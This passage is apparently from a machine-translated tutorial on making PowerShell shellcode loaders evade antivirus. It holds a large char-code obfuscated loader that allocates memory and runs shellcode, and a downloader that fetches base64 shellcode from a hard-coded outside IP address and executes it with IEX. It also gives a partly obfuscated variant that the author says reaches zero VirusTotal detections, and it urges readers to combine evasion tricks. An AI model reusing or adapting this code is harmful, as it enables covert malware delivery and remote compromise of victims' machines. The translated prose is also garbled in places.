102>122<56t47<53{81t108>120>75V72d111d83>118@66>97{97;115{71t89V53>57t98{119d78d79V56t54>113j71d114j98j65{87d77o52>54>77d83o68;77d54<105j72<47<43;112@78{70o107d73t51{90o81;82V108;69d79<89j107t82j71@84t86o99;90t65>50{53<77j87j85d112j80@84j48;73V77j70t103j48<84V65@119@116>65d84V69;53V84;81<108;100{75;81;85{57d71o71t65o78@117;99@71@112>109o65>120j73>84t68@82;77{89d65o51<82>75j84{85o100@77>86t70j65<68>98o88@99d68d70V81o48t82;71j65d78V48;98V72d81V86{70{120V103o68o100<49d70@75;82>48;90d78@86d119d119d86o68{82{77;89d65d50t53>105V100o50d70V112d99t65;111@117>75j83<80@50<87o118{82<82@53{121;52;52;85;54t74t105V69<73o104t113j97>56j50<122j115d102;71j100<102j99d109o47t80o73d85;99>76o47t89o110@109@43t119<80{109>69<51<89@55o82V74@49t122o70@74d49>102;120;89;57j81t48@71{101<54t105;114j85d109d72j88>74@120<103>113<78o120{121;50;90;117@43@76V72;81@88o90o82;55j122;56t104{51V111d122t105;105<114o117t86j54j71t56o103t77j122V102;121o106V117o85d115V120{115t102;54d51V97@71j112o79d113d112>78>47{82{82@106;81{54;100<98@107d108>118;56>88>48d102t56V122<65@97<118j80d98V90d50{113;112@111V53j65<113V111o114@70;74t114d110{88V54o121;102;113o97j90o117d101{106@84j70>115;47o87@50<119>67d65@79t80{115{111o120o69j68o82>70o115j104@100d115V112V76{70V98d98@106d71d67d116{68j66{102<105{119{75j84>106d109;80{110@49o87o56{53d55<112V84V86<75V104<117{114;50<49<113;113o69;110t89<74V47;119V77@74V107d89@70j68j113>77@47d75@43;43j103j68{109d111d68o90o100t115<67j65;53t101{77t56j118;79<52d76>71t57t103d122@57d76d70j67o66>57;100>100@101V71<70o119d97j105V78d76j48@53o97j66@100d100;122;50V83{87t78>76V73;122@77>106<73o48;115@106j73>50d77;106{100t69V116t55{104<51{68d71V51{80>97V119o109j105<77o106{73V121@77t105>43d110o74{119t113d115j82;48t83>121t77V68<73o121o78d119j100>85o115;120t116{97{114<66@51{80<97;109j52t49V102>108d113t67;81>105{52j75o98>106@86t115t90d55{52j77t117@75j51{116<122t99@70>120o81{78<69{104@73<81;68j82j69t83d70<65o48j83V69@82;115t106j77o82d100V49j87j119{61o61@39<41>10o10;102>111V114V32@40@36d120;32@61o32o48@59o32o36@120>32@45j108>116<32d36{118d97@114d95j99{111t100;101@46<67j111>117o110>116V59>32;36d120<43<43{41;32V123t10V9<36{118<97V114t95V99@111V100o101>91t36t120o93>32j61t32{36o118{97t114@95V99t111j100{101{91;36@120j93;32{45@98<120;111<114<32t51t53@10d125@10o10d36{118{97o114;95t118{97<32{61@32>91;83j121@115;116{101>109{46@82>117;110t116<105d109t101;46>73>110{116>101o114<111@112o83<101{114V118{105;99o101V115j46d77d97;114d115@104j97<108t93>58;58<71@101<116@68o101d108<101{103;97t116;101V70{111d114{70@117V110@99t116>105;111>110j80j111V105t110d116;101j114o40>40t102t117o110t99o95d103d101V116>95;112{114o111;99{95V97@100{100d114V101;115{115<32j107d101d114{110t101V108V51j50<46V100j108V108d32>86{105V114@116j117;97;108>65t108@108o111>99;41;44@32>40{102d117j110t99V95d103<101@116;95;100>101t108{101V103@97<116t101<95<116<121d112>101{32o64j40;91@73>110d116>80{116>114j93j44t32j91o85V73d110>116d51{50V93;44j32t91<85j73@110>116>51{50o93@44t32o91j85@73@110o116d51j50{93o41t32{40>91o73@110@116;80>116;114;93<41>41t41d10V36<118d97@114t95t98o117j102<102j101<114o32j61d32o36V118;97o114@95;118@97<46@73V110<118<111>107d101<40o91V73d110>116>80{116d114@93o58@58>90j101<114t111t44j32;36;118;97j114{95;99j111d100@101>46d76t101>110t103j116t104>44j32t48d120t51{48{48t48o44t32d48j120j52>48<41@10t91<83j121t115{116j101;109{46@82d117;110t116>105o109{101d46>73V110;116@101;114@111{112@83t101j114t118;105d99;101V115o46t77t97@114{115t104o97;108@93d58<58j67V111d112j121>40>36V118@97d114{95j99t111V100V101j44<32;48d44o32o36j118;97@114@95o98V117o102t102>101o114t44V32>36>118j97d114@95<99>111d100@101j46V108V101{110{103j116@104V41t10V10t36>118@97o114t95o114V117<110t109d101<32;61o32t91t83@121d115@116V101o109j46;82V117;110{116o105j109j101j46V73{110<116o101t114V111d112{83V101j114@118<105@99{101o115;46<77V97@114d115t104t97t108j93>58V58V71;101{116;68;101j108{101;103V97@116<101;70{111t114j70<117d110j99j116;105j111V110o80@111<105d110V116d101d114<40j36o118t97d114{95>98<117d102@102@101t114V44;32<40V102{117<110@99>95{103o101{116t95;100@101V108d101j103V97{116<101<95{116>121<112{101;32j64@40>91;73o110o116j80t116{114>93{41j32t40j91;86d111>105t100j93j41o41{41;10j36j118;97@114j95{114{117<110o109j101j46d73V110{118o111V107o101t40{91j73j110d116V80d116{114@93@58@58@90@101j114@111V41;10<39>64V10t10>73o102o32>40V91d73<110d116;80V116<114V93<58V58@115o105<122d101o32t45{101d113t32{56V41o32<123o10<9@115{116{97j114{116o45<106d111@98t32o123{32<112{97;114;97o109<40d36t97{41V32o73V69j88>32o36t97@32{125@32>45t82o117;110t65>115d51V50t32{45;65j114o103V117@109{101o110V116>32t36o68<111<73j116o32d124t32<119<97;105d116j45o106j111o98t32o124>32t82<101V99@101{105;118V101V45o74o111j98;10@125t10>101d108<115o101V32<123@10d9j73t69<88{32<36>68d111V73o116;10o125{10'-SPlit'd'-sPlIt '>'-sPLIT 'j' -SpLIT 'o' -SpLIt't'-SPLiT'V' -SPliT';' -splIT'{' -SPLIT'@'-SplIT'<' |%{([inT]$_ -AS[cHar])} )+"$(SET-ITeM 'vaRiaBLE:ofS' ' ') ")
What problems are found through the above experiment? First of all, what is the reason why the tool was killed? Because the tool has been included in the fingerprint database of the anti-virus software, it will be checked and killed. However, powershell will still be checked and killed after being confused and encoded by the tool. Because the anti-virus software has detected that the encoded content is encoded by the tool, it will also be checked and killed, just like kitchen knives, ant swords The traffic characteristics of tools such as sqlmap have been explicitly added to the fingerprint database of anti-virus software, so these tools will be intercepted. The question is, since they will be investigated and killed, what's the point? To put it another way, we just coded all the powershell scripts. What would happen if I only coded part of the code?
At this time, I use to place the first base64 encoded shellcode code to the remote server, and then download and execute it. The code is as follows:
Set-StrictMode -Version 2$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://47.113.217.128/ssyy.txt ') / / of course, http can also be split here: $mksec = [system. Text. Encoding]:: utf8 GetString([System.Convert]::FromBase64String($DoIt))If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job}else { IEX $mksec}
What will happen at this time? At this time, some cashmere is not checked and killed, while some 60 is still intercepted during execution. What I need to do now is to use the invoke obfuscation tool to encode some of the above codes. Now I use the tool to encode each code in turn, and then process the start job {param ($a) IEX $a} - runas32 - argument $mksec | wait job | receive job. A 60 successfully bypasses and goes online.
Here we choose the fifth one for coding, and others try it by themselves, because there are too many possibilities.
The code is as follows:
Set-StrictMode -Version 2$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://47.113.217.128/ssyy.txt'))$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))If ([IntPtr]::size -eq 8) { ( [RuNtime.INtERopserVIces.mArShAL]::([RunTiME.inTEROPservICeS.marshAL].GETmEmberS()[3].NAME).iNvOKe([RuNtImE.InteropSeRViCeS.MarSHAl]::SecUreSTriNGToBsTR( $('76492d1116743f0423413b16050a5345MgB8AFkALwBLAEIAdwA1AGsATQBiAGkATABNAGoAVgB2AE8AVQBJAEQAbQBSAGcAPQA9AHwAYwA4AGQAZgBkAGIAMQA1ADMAZQA4ADAAYwA5ADkAYQBiAGEAMQBlADgAMAA0ADQAZgAyAGIAMgBhADQAZAA1ADgAYQBjAGQAZQA5AGIAMQAwADYAZAA4AGQAZQAxAGEAZgBkAGUAZgA4ADkAMQAyADMAYgA2ADkAMgA4AGMAYQAxADUAMQBmADQANABkAGMAZgA2ADYAOQA4ADYAOAAxADUAMQAwAGEANwBmAGUANwAwADEAMwA1ADEAMgBlADkAOQAwADIAYgAxADgAZQAzAGYAYQBkADQAZgA1ADUAZgBiADcAOQBhAGYAZgA4ADcAOAAyAGQANwAzAGYAMgBiAGUAMQA2AGYAMgA0ADIAZQBjADUANwBiAGEANwBjADcAZgA3AGMAYwA2ADQAZQA5AGYANgBiAGQAYwA5ADIANwA5ADMAZgBlAGYAYwBlADMAZAAzADcAYgBhADMANAAzADEANABhADkAZgA1AGMANQAyADEAYgAzAGEAMQBjADYAYgA5ADMAOQAxAGEAMAA0ADQAOAAyADAAMAA4ADEANgBhADUAMgBiAGYAYgAyAGYAZgA4AGUAZQBkADkAOQAzAGMAMAA3ADcANwBlADIAZgA1AGYANQA3ADAAZQAyAGUAYwA1ADkAYwAyADYAOAAzADgANABiADQAZgBiAGUAZABiAGIAMQA2AGMAOABjAGIAZQBkADAAMQAzAGUANgBmADcAYQA5AGIAMgAwADUAMgBkAGEAMAA0AGUAZQA3AGQAMwAyADUAMABiADAAYQA5AGMAZAA2ADkAMwAyAGUAYgA2ADQANwBjADAAMAA3AGQAYwAwADQAZAA2ADQANAAxAGMAYgBmAGMAOAA3AGYAMgBmADAAYwA0ADAAOQAwADgAYgAzADcAOABmADUAZAA2ADMAMAA0AGQAMgBhAGMANQAyADgAOAAzADAAMwA2ADEAOAAxAGMAYQA3ADIAZQBjADMANwBhADUAZgBkADUAYwA5AGQAZABjADYAZQBlAGUAYQBkAGIAYgAxADcAOQAyAGMAOQBmADQAYQBiAGIAZQAxADMANwAxADAAMQBlAGUANAAzADIAMQAyAGEAOABmADAAZAAyAGQAYgAxAGUANQA1ADEAZAA2AGEANQBhAGEANwAwAGMAYwAwAGQANABjADQAZgA5AGIAMgA3AGIAYgBhAGEANAAzADEAZgAyAGIAZgBlAGMAYQBlAGQAOQAxADAANQAzADMANwAzADYAMgAwADcANAA1ADkAZABkADAA'|coNVERtTO-SeCuReSTrinG -k (40..63)) ) ))| .((Get-VarIABlE '*mDr*').nAME[3,11,2]-JOIn'')}else { IEX $mksec}
At this time, take it to vt for killing, and the exemption rate is 0
It needs to be emphasized here. In fact, many articles have introduced some anti-virus tools. Many anti-virus tools have been included in the fingerprint database by anti-virus software. You can use the above methods, which may not achieve unexpected results.
summary
What can we learn from the above analysis? In fact, it doesn't mean that you can reproduce it again, because the free killing is only temporary, and it will soon be listed in the fingerprint database. What we need to do is to clearly know the above free killing methods and combine a variety of free killing ideas, just like the combined fist of cors+xss in web attack to improve the harm, and the free killing idea is the same, By arranging and combining these, there will be many ways to avoid killing. In the last one, I haven't integrated all the ways to avoid killing, and the vt free killing effect is 0. What if all the ways are integrated? What about the killing free effect? You can try it yourself. Avoiding killing is also a process of constant trying. We should dare to try. Through this article, I hope you can learn by analogy when you avoid killing other languages.